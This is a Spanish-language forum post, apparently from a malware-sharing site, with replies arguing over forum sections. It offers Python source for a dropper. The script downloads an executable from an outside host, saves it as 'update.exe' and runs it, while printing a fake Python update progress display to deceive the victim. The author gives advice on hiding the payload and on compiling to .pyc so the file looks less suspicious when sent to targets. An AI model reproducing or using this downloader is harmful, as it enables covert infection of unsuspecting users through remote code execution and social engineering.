Bueno aqui os traigo un dowloader de lo mas simple, su peso es de 1,91 kb ( sin pasar a .exe ) asi que es de lo mas ligero

--

Antes de todo quiero explicaros como debeis utilizarlo:


El usuario necesitara tener instalado python en su ordenador para poder hacerlo funcionar, esto tiene sus ventajas tambien, el downloader tendra extension .pyc por lo cual no genera tanta desconfianza como un .exe ( Ej: oye descarga python y prueba esta aplicacion ). Si aun asi quereis generar un .exe para poder enviarlo sin tener python debereis utilizar py2exe
[Enlace externo eliminado para invitados]

Ahora abrimos nuestro bloc de notas y pegamos esto:

Código: Seleccionar todo

#Dowloader en python
#Creado para zonaperezosos.eu y indetectables.net
#
#
#Visita mas programas como este en zonaperezosos.eu
#
#
#Importamos time para el timer,urllib para la descarga y os para abrir
import time, urllib , os
#Colacamos la ruta del archivo, ej: ruta = "http://www.perez.com/server.exe"
ruta = "http://anyhub.net/file/crocclip.exe"
#Nombre con el cual se bajara, ej: nombre = "server.exe"
#La url puede estar en cualquier extension, siempre se bajara como lo indiques
#en el nombre,si queremos guardarlo por ej en otra carpeta ponemos
#el directorio, pero con el archivo incluido y la extension que se desea
nombre = "update.exe"
descarga = urllib.urlretrieve(ruta,nombre)
#
#Una vez esta descargado abrimos el archivo, si es un server aseguraros de 
#que lo teneis oculto o si no se dara cuenta
abrir = os.popen(nombre)
#Ahora creamos un fake para que no sospeche el usuario
print """

Python necesita actualizarse para poder funcionar correctamente, si encuentra algun
problema no dude en contactar con nosotros en python.org , le agredecemos toda la ayuda

"""

#Ahora el "Proceso" de actualizacion , podeis aumentar los tiempos dependiendo de lo que
#penseis que puede ocupar

print "Actualizando a 2.7.9"

time.sleep(2.5)
print "Conectando con python.org"

time.sleep(2.5)
print "Idioma: Esp"
time.sleep(2.5)
print "Actualizando 0%"

time.sleep(2.5)
print "Actualizando 6%"

time.sleep(2.5)
print "Actualizando 15%"

time.sleep(2.5)
print "Actualizando 34%"

time.sleep(2.5)
print "Actualizando 53%"

time.sleep(2.5)
print "Actualizando 69%"

time.sleep(2.5)
print "Actualizando 79%"

time.sleep(2.5)
print "Actualizando 87%"
time.sleep(2.5)
print "Actualizando 96%"

time.sleep(2.5)
print "Error al guardar el archivo,compruebe su fireware"
raw_input()
#Fin ....
#Recordar quitar los comentarios
#Podeis pasarlo a .exe si quereis
#Buscar en google pasar .py a .exe
Seguimos las intrucciones y lo guardamos como nombre.py , ahora que pasa, necesitamos protegerlo para que no se puedan dar cuenta, pues para eso utilizas el truco de almendruco de ps1c0, tenemos que tener el el nombre.py y creamos otro archivo con el bloc de notas con esto:

Código: Seleccionar todo

import py_compile
py_compile.compile("nombre.py")
#Cambiando nombre por el de antes
y lo guardamos como conversor .py por ejemplo , al abrirlo tendremos el nombre.py y el nombre.pyc ese nombre.pyc es el que debemos enviar
NOTA1:Para hacer todo esto necesitamos python , para perezosos : [Enlace externo eliminado para invitados]
NOTA2: Al guardar el nombre.py recordar quitar todos los comentarios, ya que algunos se pueden leer a pasarlo a .pyc

Listo creo que ya esta todo, se hace demasiado rapido con python , para la proxima vere si le pongo uno para megaupload pero ese capcha me mata, tenia un source por ahi , ahora vere.

Saludos y a disfrutar
Última edición por Word el 14 Sep 2010, 15:29, editado 1 vez en total.
RoLyxRoLy escribió:Gracias Word yo estoy cero con python. Asique lo que se envia es el "archivo.pyc"
Saludos!
correcto
|||L1v3H||| escribió:No Deberia ir en fuente & textos de programacion ?????
Salu2....
Que quieres un binario ? para eso tienes el py2exe
word93 escribió:
|||L1v3H||| escribió:No Deberia ir en fuente & textos de programacion ?????
Salu2....
Que quieres un binario ? para eso tienes el py2exe
Vamos a ver una cosa amigo word93.. mientras que no se demuestre lo contrario.. esto que has puesto es [src] y por lo tanto va en la seccion correspondiente.. que viene siendo "Fuentes y Textos de Programación" QUE PARA ALGO ESTA...
Y por el aporte te doy las gracias y que sigas aportando buenas cosas.

Saludos..
la idea es que esta sección la puede usar gente que no conozca o que no use el intérprete de python y que sin embargo quiera el binario por su utilidad..
aquí deberías haber posteado el binario.. no decir cómo se pasa a binario porque para tí puede ser algo trivial pero no creo que a todo el mundo se lo parezca. Si quieres postear el source perfecto, así lo usará el que sepa usarlo con python, pero en su sección correspondiente.
(piensa que si no.. todos los scripts de perl y python.. todo eso deberia ir tambien en esta seccion)

un saludo! R-007
Responder

Volver a “Otros lenguajes”